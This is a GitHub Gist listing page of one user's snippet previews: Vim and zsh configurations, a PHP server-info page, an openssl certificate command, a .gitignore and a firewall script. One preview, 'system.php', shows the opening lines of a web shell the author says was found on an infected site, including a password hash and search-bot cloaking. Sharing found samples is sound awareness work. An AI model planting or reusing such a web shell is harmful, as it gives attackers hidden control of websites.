Skip to content

Instantly share code, notes, and snippets.

@josuecau
josuecau / .vimrc
Last active October 12, 2015 15:18
My Vim configuration file
" Use vim, no vi defaults
set nocompatible
" Include pathogen
call pathogen#infect()
call pathogen#helptags()
" Enable filetype plugins
filetype plugin on
filetype indent on
@josuecau
josuecau / php-server.php
Created November 30, 2012 20:46
PHP $_SERVER global variable: server and execution environment information
<?php $title = 'PHP $_SERVER global variable: server and execution environment information'; ?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title><?php echo $title; ?></title>
<style>
html { font-size : 100%; }
body { font-family : Monaco, "Andale Mono", "Courier New", Courier, monospace; font-size : 0.8em; color : #333; padding : 10px; }
h1 { font-size : 21px; }
@josuecau
josuecau / gist:f63826a080eab948af48
Created October 13, 2015 15:07
Create an SSL Certificate for Nginx on Debian
sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/nginx/ssl/nginx.key -out /etc/nginx/ssl/nginx.crt

Keybase proof

I hereby claim:

  • I am josuecau on github.
  • I am josuecau (https://keybase.io/josuecau) on keybase.
  • I have a public key whose fingerprint is 2665 4956 4923 586A 1170 93A1 EB86 FB52 29CE E548

To claim this, I am signing this object:

@josuecau
josuecau / system.php
Last active December 5, 2015 10:51
Un script PHP trouvé dans un site infecté
<?php
$auth_pass = "297dbe7699dcfa60609bf9e667e2e4dc";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
@josuecau
josuecau / .zshrc
Created June 5, 2013 06:15
My zsh configuration file
# Path to your oh-my-zsh configuration.
ZSH=$HOME/.oh-my-zsh
# Set name of the theme to load.
# Look in ~/.oh-my-zsh/themes/
# Optionally, if you set this to "random", it'll load a random theme each
# time that oh-my-zsh is loaded.
ZSH_THEME="agnoster"
# Example aliases
@josuecau
josuecau / .gvimrc
Created June 5, 2013 06:21
My Vim configuration file for the GUI
" Set the font in the GUI
set guifont=Menlo\ for\ Powerline:h14
" Hide Gvim / MacVim top toolbar
set guioptions-=T
" Reload the files edited
set guioptions+=c
" Make a copy of the file and overwrite the original one
@josuecau
josuecau / rm-osx-forks.sh
Last active December 20, 2015 04:18
Remove OSX resource forks ._ files
find . -name ._\* -exec rm -f {} \;
@josuecau
josuecau / .gitignore
Created July 30, 2013 08:18
Global .gitignore
# OS generated files
.DS_Store
.DS_Store?
._*
.Spotlight-V100
.Trashes
Icon?
ehthumbs.db
Thumbs.db
@josuecau
josuecau / firewall.sh
Last active December 20, 2015 15:59
/etc/init.d/firewall
#!/bin/bash
### BEGIN INIT INFO
# Provides: firewall
# Required-Start: $remote_fs $syslog
# Required-Stop: $remote_fs $syslog
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
# Short-Description: Démarre les règles iptables
# Description: Charge la configuration du pare-feu iptables